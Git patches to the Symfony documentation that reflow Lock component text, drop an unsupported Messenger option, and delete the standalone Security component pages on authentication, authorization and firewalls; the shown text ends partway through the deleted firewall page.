From 990b413b62049185c623133c8894a85f4c63686d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Dec 2021 09:03:16 +0100
Subject: [PATCH 1538/5766] Minor formatting tweaks

---
 components/lock.rst | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index ff173f88252..4069a238ee5 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -473,9 +473,9 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore but requires
-a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore
+but requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does
+not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
@@ -495,16 +495,17 @@ your code.
 
 .. deprecated:: 5.4
 
-    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalStore`` instead.
+    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
+    Use ``DoctrineDbalStore`` instead.
 
 .. _lock-store-dbal:
 
 DoctrineDbalStore
 ~~~~~~~~~~~~~~~~~
 
-The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore but requires a
-`Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore
+but requires a `Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store
+does not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
@@ -525,8 +526,8 @@ in your code or create this table explicitly by calling the
 
 .. versionadded:: 5.4
 
-    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore`` when
-    used with Doctrine DBAL.
+    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore``
+    when used with Doctrine DBAL.
 
 .. _lock-store-pgsql:
 
@@ -553,17 +554,17 @@ store locks and it does not expire.
 
 .. deprecated:: 5.4
 
-    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalPostgreSqlStore`` instead.
+    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
+    Use ``DoctrineDbalPostgreSqlStore`` instead.
 
 .. _lock-store-dbal-pgsql:
 
 DoctrineDbalPostgreSqlStore
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It is identical to PostgreSqlStore
-but requires a `Doctrine DBAL Connection`_ or a `Doctrine DBAL URL`_.
-It supports native blocking, as well as sharing
-locks::
+The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
+It is identical to PostgreSqlStore but requires a `Doctrine DBAL Connection`_ or
+a `Doctrine DBAL URL`_. It supports native blocking, as well as sharing locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
@@ -576,8 +577,8 @@ store locks and does not expire.
 
 .. versionadded:: 5.4
 
-    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace ``PostgreSqlStore`` when
-    used with Doctrine DBAL.
+    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace
+    ``PostgreSqlStore`` when used with Doctrine DBAL.
 
 .. _lock-store-redis:
 

From b8602c42aa4c1b77c313a182b44c2e5758d2e45f Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Thu, 23 Dec 2021 04:00:35 -0500
Subject: [PATCH 1539/5766] Remove mention to unsupported `prefetch_count`
 config option

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2c58714f813..d14ae50564d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1187,7 +1187,6 @@ The transport has a number of options:
 ``password``                                  Password to use to connect to the AMQP service
 ``persistent``                                                                                   ``'false'``
 ``port``                                      Port of the AMQP service
-``prefetch_count``
 ``read_timeout``                              Timeout in for income activity. Note: 0 or
                                               greater seconds. May be fractional.
 ``retry``

From 94bd8d257d0d1ed7da5c8e7ca57b466623948159 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 23 Dec 2021 20:17:17 +0100
Subject: [PATCH 1540/5766] Merge standalone Security component docs with
 Security guide

---
 components/security.rst                   |  65 -----
 components/security/authentication.rst    | 334 ----------------------
 components/security/authorization.rst     | 281 ------------------
 components/security/firewall.rst          | 164 -----------
 components/security/secure_tools.rst      |  56 ----
 controller/argument_value_resolver.rst    |   2 +-
 introduction/from_flat_php_to_symfony.rst |   7 +-
 reference/configuration/security.rst      |   2 +-
 security/passwords.rst                    | 113 +++++++-
 security/voters.rst                       |  23 +-
 10 files changed, 121 insertions(+), 926 deletions(-)
 delete mode 100644 components/security.rst
 delete mode 100644 components/security/authentication.rst
 delete mode 100644 components/security/authorization.rst
 delete mode 100644 components/security/firewall.rst
 delete mode 100644 components/security/secure_tools.rst

diff --git a/components/security.rst b/components/security.rst
deleted file mode 100644
index 9985b611c63..00000000000
--- a/components/security.rst
+++ /dev/null
@@ -1,65 +0,0 @@
-.. index::
-   single: Security
-
-The Security Component
-======================
-
-    The Security component provides a complete security system for your web
-    application. It ships with facilities for authenticating using HTTP basic
-    authentication, interactive form login or X.509 certificate login, but also
-    allows you to implement your own authentication strategies. Furthermore, the
-    component provides ways to authorize authenticated users based on their
-    roles.
-
-Installation
-------------
-
-The Security component is divided into several smaller sub-components which can
-be used separately:
-
-``symfony/security-core``
-    It provides all the common security features, from authentication to
-    authorization and from encoding passwords to loading users.
-
-``symfony/security-http``
-    It integrates the core sub-component with the HTTP protocol to handle HTTP
-    requests and responses.
-
-``symfony/security-csrf``
-    It provides protection against `CSRF attacks`_.
-
-``symfony/security-guard``
-    It brings many layers of authentication together, allowing the creation
-    of complex authentication systems.
-
-You can install each of them separately in your project:
-
-.. code-block:: terminal
-
-    $ composer require symfony/security-core
-    $ composer require symfony/security-http
-    $ composer require symfony/security-csrf
-    $ composer require symfony/security-guard
-
-.. include:: /components/require_autoload.rst.inc
-
-.. seealso::
-
-    This article explains how to use the Security features as an independent
-    component in any PHP application. Read the :doc:`/security` article to learn
-    about how to use it in Symfony applications.
-
-Learn More
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /components/security/*
-    /security
-    /security/*
-    /reference/configuration/security
-    /reference/constraints/UserPassword
-
-.. _`CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
deleted file mode 100644
index ad89cd785c2..00000000000
--- a/components/security/authentication.rst
+++ /dev/null
@@ -1,334 +0,0 @@
-.. index::
-   single: Security, Authentication
-
-Authentication
-==============
-
-When a request points to a secured area, and one of the listeners from the
-firewall map is able to extract the user's credentials from the current
-:class:`Symfony\\Component\\HttpFoundation\\Request` object, it should create
-a token, containing these credentials. The next thing the listener should
-do is ask the authentication manager to validate the given token, and return
-an *authenticated* token if the supplied credentials were found to be valid.
-The listener should then store the authenticated token using
-:class:`the token storage <Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface>`::
-
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
-
-    class SomeAuthenticationListener
-    {
-        /**
-         * @var TokenStorageInterface
-         */
-        private $tokenStorage;
-
-        /**
-         * @var AuthenticationManagerInterface
-         */
-        private $authenticationManager;
-
-        /**
-         * @var string Uniquely identifies the secured area
-         */
-        private $providerKey;
-
-        // ...
-
-        public function __invoke(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            $username = ...;
-            $password = ...;
-
-            $unauthenticatedToken = new UsernamePasswordToken(
-                $username,
-                $password,
-                $this->providerKey
-            );
-
-            $authenticatedToken = $this
-                ->authenticationManager
-                ->authenticate($unauthenticatedToken);
-
-            $this->tokenStorage->setToken($authenticatedToken);
-        }
-    }
-
-.. note::
-
-    A token can be of any class, as long as it implements
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`.
-
-The Authentication Manager
---------------------------
-
-The default authentication manager is an instance of
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationProviderManager`::
-
-    use Symfony\Component\Security\Core\Authentication\AuthenticationProviderManager;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    // instances of Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface
-    $providers = [...];
-
-    $authenticationManager = new AuthenticationProviderManager($providers);
-
-    try {
-        $authenticatedToken = $authenticationManager
-            ->authenticate($unauthenticatedToken);
-    } catch (AuthenticationException $exception) {
-        // authentication failed
-    }
-
-The ``AuthenticationProviderManager``, when instantiated, receives several
-authentication providers, each supporting a different type of token.
-
-.. note::
-
-    You may write your own authentication manager, the only requirement is that
-    it implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationManagerInterface`.
-
-.. _authentication_providers:
-
-Authentication Providers
-------------------------
-
-Each provider (since it implements
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`)
-has a :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::supports` method
-by which the ``AuthenticationProviderManager``
-can determine if it supports the given token. If this is the case, the
-manager then calls the provider's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::authenticate` method.
-This method should return an authenticated token or throw an
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`
-(or any other exception extending it).
-
-Authenticating Users by their Username and Password
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-An authentication provider will attempt to authenticate a user based on
-the credentials they provided. Usually these are a username and a password.
-Most web applications store their user's username and a hash of the user's
-password combined with a randomly generated salt. This means that the average
-authentication would consist of fetching the salt and the hashed password
-from the user data storage, hash the password the user has just provided
-(e.g. using a login form) with the salt and compare both to determine if
-the given password is valid.
-
-This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
-It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-to create a hash of the password and returns an authenticated token if the
-password was valid::
-
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Core\User\UserChecker;
-
-    // The 'InMemoryUser' class was introduced in Symfony 5.3.
-    // In previous versions it was called 'User'
-    $userProvider = new InMemoryUserProvider(
-        [
-            'admin' => [
-                // password is "foo"
-                'password' => '5FZ2Z8QIkA7UTZ4BYkoC+GsReLf569mSKDsfods6LYQ8t+a8EW9oaircfMpmaLbPBh4FOBiiFyLfuZmTSUwzZg==',
-                'roles'    => ['ROLE_ADMIN'],
-            ],
-        ]
-    );
-
-    // for some extra checks: is account enabled, locked, expired, etc.
-    $userChecker = new UserChecker();
-
-    // an array of password hashers (see below)
-    $hasherFactory = new PasswordHasherFactoryInterface(...);
-
-    $daoProvider = new DaoAuthenticationProvider(
-        $userProvider,
-        $userChecker,
-        'secured_area',
-        $hasherFactory
-    );
-
-    $daoProvider->authenticate($unauthenticatedToken);
-
-.. note::
-
-    The example above demonstrates the use of the "in-memory" user provider,
-    but you may use any user provider, as long as it implements
-    :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`.
-    It is also possible to let multiple user providers try to find the user's
-    data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
-
-.. _the-password-encoder-factory:
-
-The Password Hasher Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses a factory to create a password hasher for a given type of user. This allows
-you to use different hashing strategies for different types of users.
-The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
-receives an array of hashers::
-
-    use Acme\Entity\LegacyUser;
-    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
-    use Symfony\Component\Security\Core\User\InMemoryUser;
-
-    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
-    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
-
-    $hashers = [
-        InMemoryUser::class => $defaultHasher,
-        LegacyUser::class   => $weakHasher,
-        // ...
-    ];
-    $hasherFactory = new PasswordHasherFactory($hashers);
-
-Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-or be an array with a ``class`` and an ``arguments`` key, which allows the
-hasher factory to construct the hasher only when it is needed.
-
-.. _creating-a-custom-password-encoder:
-
-Creating a custom Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-There are many built-in password hasher. But if you need to create your
-own, it needs to follow these rules:
-
-#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
-
-#. The implementations of
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
-   and
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
-   must first of all make sure the password is not too long, i.e. the password length is no longer
-   than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
-   method for this check::
-
-       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
-       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
-       use Symfony\Component\Security\Core\Exception\BadCredentialsException;
-
-       class FoobarHasher extends UserPasswordHasher
-       {
-           use CheckPasswordLengthTrait;
-
-           public function hashPassword(UserInterface $user, string $plainPassword): string
-           {
-               if ($this->isPasswordTooLong($user->getPassword())) {
-                   throw new BadCredentialsException('Invalid password.');
-               }
-
-               // ...
-           }
-
-           public function isPasswordValid(UserInterface $user, string $plainPassword)
-           {
-               if ($this->isPasswordTooLong($user->getPassword())) {
-                   return false;
-               }
-
-               // ...
-           }
-       }
-
-.. _using-password-encoders:
-
-Using Password Hashers
-~~~~~~~~~~~~~~~~~~~~~~
-
-When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
-method of the password hasher factory is called with the user object as
-its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
-which should be used to hash this user's password::
-
-    // a Acme\Entity\LegacyUser instance
-    $user = ...;
-
-    // the password that was submitted, e.g. when registering
-    $plainPassword = ...;
-
-    $hasher = $hasherFactory->getPasswordHasher($user);
-
-    // returns $weakHasher (see above)
-    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
-
-    $user->setPassword($hashedPassword);
-
-    // ... save the user
-
-Now, when you want to check if the submitted password (e.g. when trying to log
-in) is correct, you can use::
-
-    // fetch the Acme\Entity\LegacyUser
-    $user = ...;
-
-    // the submitted password, e.g. from the login form
-    $plainPassword = ...;
-
-    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
-
-Authentication Events
----------------------
-
-The security component provides the following authentication events:
-
-===============================  ======================================================================== ==============================================================================
-Name                             Event Constant                                                           Argument Passed to the Listener
-===============================  ======================================================================== ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ======================================================================== ==============================================================================
-
-Authentication Success and Failure Events
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When a provider authenticates the user, a ``security.authentication.success``
-event is dispatched. But beware - this event may fire, for example, on *every*
-request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if the token is not authenticated before AccessListener is invoked.
-See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
-
-When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
-a ``security.authentication.failure`` event is dispatched. You could listen on
-the ``security.authentication.failure`` event, for example, in order to log
-failed login attempts.
-
-Security Events
-~~~~~~~~~~~~~~~
-
-The ``security.interactive_login`` event is triggered after a user has actively
-logged into your website.  It is important to distinguish this action from
-non-interactive authentication methods, such as:
-
-* authentication based on your session.
-* authentication using a HTTP basic header.
-
-You could listen on the ``security.interactive_login`` event, for example, in
-order to give your user a welcome flash message every time they log in.
-
-The ``security.switch_user`` event is triggered every time you activate
-the ``switch_user`` firewall listener.
-
-The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change. It can help you perform clean-up tasks.
-
-.. seealso::
-
-    For more information on switching users, see
-    :doc:`/security/impersonating_user`.
-
-.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
deleted file mode 100644
index ffc4edc278a..00000000000
--- a/components/security/authorization.rst
+++ /dev/null
@@ -1,281 +0,0 @@
-.. index::
-   single: Security, Authorization
-
-Authorization
-=============
-
-When any of the authentication providers (see :ref:`authentication_providers`)
-has verified the still-unauthenticated token, an authenticated token will
-be returned. The authentication listener should set this token directly
-in the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface`
-using its :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface::setToken`
-method.
-
-From then on, the user is authenticated, i.e. identified. Now, other parts
-of the application can use the token to decide whether or not the user may
-request a certain URI, or modify a certain object. This decision will be made
-by an instance of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`.
-
-An authorization decision will always be based on a few things:
-
-* The current token
-    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
-    method may be used to retrieve the roles of the current user (e.g.
-    ``ROLE_SUPER_ADMIN``), or a decision may be based on the class of the token.
-* A set of attributes
-    Each attribute stands for a certain right the user should have, e.g.
-    ``ROLE_ADMIN`` to make sure the user is an administrator.
-* An object (optional)
-    Any object for which access control needs to be checked, like
-    an article or a comment object.
-
-.. _components-security-access-decision-manager:
-
-Access Decision Manager
------------------------
-
-Since deciding whether or not a user is authorized to perform a certain
-action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
-itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
-Usage of the available options in detail::
-
-    use Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
-
-    // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
-    $voters = [...];
-
-    // one of "affirmative", "consensus", "unanimous", "priority"
-    $strategy = ...;
-
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
-
-.. seealso::
-
-    You can change the default strategy in the
-    :ref:`configuration <security-voters-change-strategy>`.
-
-Voters
-------
-
-Voters are instances
-of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
-which means they have to implement a few methods which allows the decision
-manager to use them:
-
-``vote(TokenInterface $token, $object, array $attributes)``
-    this method will do the actual voting and return a value equal to one
-    of the class constants of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
-    i.e. ``VoterInterface::ACCESS_GRANTED``, ``VoterInterface::ACCESS_DENIED``
-    or ``VoterInterface::ACCESS_ABSTAIN``;
-
-The Security component contains some standard voters which cover many use
-cases:
-
-AuthenticatedVoter
-~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\AuthenticatedVoter`
-voter supports the attributes ``IS_AUTHENTICATED_FULLY``,
-``IS_AUTHENTICATED_REMEMBERED``, ``IS_AUTHENTICATED_ANONYMOUSLY``,
-to grant access based on the current level of authentication, i.e. is the
-user fully authenticated, or only based on a "remember-me" cookie, or even
-authenticated anonymously?
-
-It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
-``IS_IMPERSONATOR`` to grant access based on a specific state of
-authentication.
-
-.. versionadded:: 5.1
-
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
-::
-
-    use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
-
-    $trustResolver = new AuthenticationTrustResolver();
-
-    $authenticatedVoter = new AuthenticatedVoter($trustResolver);
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface
-    $token = ...;
-
-    // any object
-    $object = ...;
-
-    $vote = $authenticatedVoter->vote($token, $object, ['IS_AUTHENTICATED_FULLY']);
-
-RoleVoter
-~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
-supports attributes starting with ``ROLE_`` and grants access to the user
-when at least one required ``ROLE_*`` attribute can be found in the array of
-roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
-method::
-
-    use Symfony\Component\Security\Core\Authorization\Voter\RoleVoter;
-
-    $roleVoter = new RoleVoter('ROLE_');
-
-    $roleVoter->vote($token, $object, ['ROLE_ADMIN']);
-
-RoleHierarchyVoter
-~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleHierarchyVoter`
-extends :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
-and provides some additional functionality: it knows how to handle a
-hierarchy of roles. For instance, a ``ROLE_SUPER_ADMIN`` role may have sub-roles
-``ROLE_ADMIN`` and ``ROLE_USER``, so that when a certain object requires the
-user to have the ``ROLE_ADMIN`` role, it grants access to users who in fact
-have the ``ROLE_ADMIN`` role, but also to users having the ``ROLE_SUPER_ADMIN``
-role::
-
-    use Symfony\Component\Security\Core\Authorization\Voter\RoleHierarchyVoter;
-    use Symfony\Component\Security\Core\Role\RoleHierarchy;
-
-    $hierarchy = [
-        'ROLE_SUPER_ADMIN' => ['ROLE_ADMIN', 'ROLE_USER'],
-    ];
-
-    $roleHierarchy = new RoleHierarchy($hierarchy);
-
-    $roleHierarchyVoter = new RoleHierarchyVoter($roleHierarchy);
-
-ExpressionVoter
-~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\ExpressionVoter`
-grants access based on the evaluation of expressions created with the
-:doc:`ExpressionLanguage component </components/expression_language>`. These
-expressions have access to a number of
-:ref:`special security variables <security-expression-variables>`::
-
-    use Symfony\Component\ExpressionLanguage\Expression;
-    use Symfony\Component\Security\Core\Authorization\Voter\ExpressionVoter;
-
-    // Symfony\Component\Security\Core\Authorization\ExpressionLanguage;
-    $expressionLanguage = ...;
-
-    // instance of Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolverInterface
-    $trustResolver = ...;
-
-    // Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface
-    $authorizationChecker = ...;
-
-    $expressionVoter = new ExpressionVoter($expressionLanguage, $trustResolver, $authorizationChecker);
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface
-    $token = ...;
-
-    // any object
-    $object = ...;
-
-    $expression = new Expression(
-        '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-    );
-
-    $vote = $expressionVoter->vote($token, $object, [$expression]);
-
-.. note::
-
-    When you make your own voter, you can use its constructor to inject any
-    dependencies it needs to come to a decision.
-
-Roles
------
-
-Roles are strings that give expression to a certain right the user has (e.g.
-*"edit a blog post"*, *"create an invoice"*). You can freely choose those
-strings. The only requirement is that they must start with the ``ROLE_`` prefix
-(e.g. ``ROLE_POST_EDIT``, ``ROLE_INVOICE_CREATE``).
-
-Using the Decision Manager
---------------------------
-
-The Access Listener
-~~~~~~~~~~~~~~~~~~~
-
-The access decision manager can be used at any point in a request to decide whether
-or not the current user is entitled to access a given resource. One optional,
-but useful, method for restricting access based on a URL pattern is the
-:class:`Symfony\\Component\\Security\\Http\\Firewall\\AccessListener`,
-which is one of the firewall listeners (see :ref:`firewall_listeners`) that
-is triggered for each request matching the firewall map (see :ref:`firewall`).
-
-It uses an access map (which should be an instance of :class:`Symfony\\Component\\Security\\Http\\AccessMapInterface`)
-which contains request matchers and a corresponding set of attributes that
-are required for the current user to get access to the application::
-
-    use Symfony\Component\HttpFoundation\RequestMatcher;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
-    use Symfony\Component\Security\Http\AccessMap;
-    use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-    $accessMap = new AccessMap();
-    $tokenStorage = new TokenStorage();
-    $requestMatcher = new RequestMatcher('^/admin');
-    $accessMap->add($requestMatcher, ['ROLE_ADMIN']);
-
-    $accessListener = new AccessListener(
-        $tokenStorage,
-        $accessDecisionManager,
-        $accessMap,
-        $authenticationManager
-    );
-
-Authorization Checker
-~~~~~~~~~~~~~~~~~~~~~
-
-The access decision manager is also available to other parts of the application
-via the :method:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker::isGranted`
-method of the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationChecker`.
-A call to this method will directly delegate the question to the access
-decision manager::
-
-    use Symfony\Component\Security\Core\Authorization\AuthorizationChecker;
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-
-    $authorizationChecker = new AuthorizationChecker(
-        $tokenStorage,
-        $authenticationManager,
-        $accessDecisionManager
-    );
-
-    if (!$authorizationChecker->isGranted('ROLE_ADMIN')) {
-        throw new AccessDeniedException();
-    }
diff --git a/components/security/firewall.rst b/components/security/firewall.rst
deleted file mode 100644
index adb0fae6e4a..00000000000
--- a/components/security/firewall.rst
+++ /dev/null
@@ -1,164 +0,0 @@
-.. index::
-   single: Security, Firewall
-
-The Firewall and Authorization
-==============================
-
-Central to the Security component is authorization. This is handled by an instance
-of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`.
-When all steps in the process of authenticating the user have been taken successfully,
-you can ask the authorization checker if the authenticated user has access to a
-certain action or resource of the application::
-
-    use Symfony\Component\Security\Core\Authorization\AuthorizationChecker;
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface
-    $tokenStorage = ...;
-
-    // instance of Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface
-    $authenticationManager = ...;
-
-    // instance of Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface
-    $accessDecisionManager = ...;
-
-    $authorizationChecker = new AuthorizationChecker(
-        $tokenStorage,
-        $authenticationManager,
-        $accessDecisionManager
-    );
-
-    // ... authenticate the user
-
-    if (!$authorizationChecker->isGranted('ROLE_ADMIN')) {
-        throw new AccessDeniedException();
-    }
-
-.. note::
-
-    Read the dedicated articles to learn more about :doc:`/components/security/authentication`
-    and :doc:`/components/security/authorization`.
-
-.. _firewall:
-
-A Firewall for HTTP Requests
-----------------------------
-
-Authenticating a user is done by the firewall. An application may have
-multiple secured areas, so the firewall is configured using a map of these
-secured areas. For each of these areas, the map contains a request matcher
-and a collection of listeners. The request matcher gives the firewall the
-ability to find out if the current request points to a secured area.
-The listeners are then asked if the current request can be used to authenticate
-the user::
-
